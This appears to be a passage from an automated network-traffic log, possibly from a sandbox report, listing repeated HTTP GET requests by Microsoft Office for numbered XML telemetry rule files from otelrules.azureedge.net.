Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
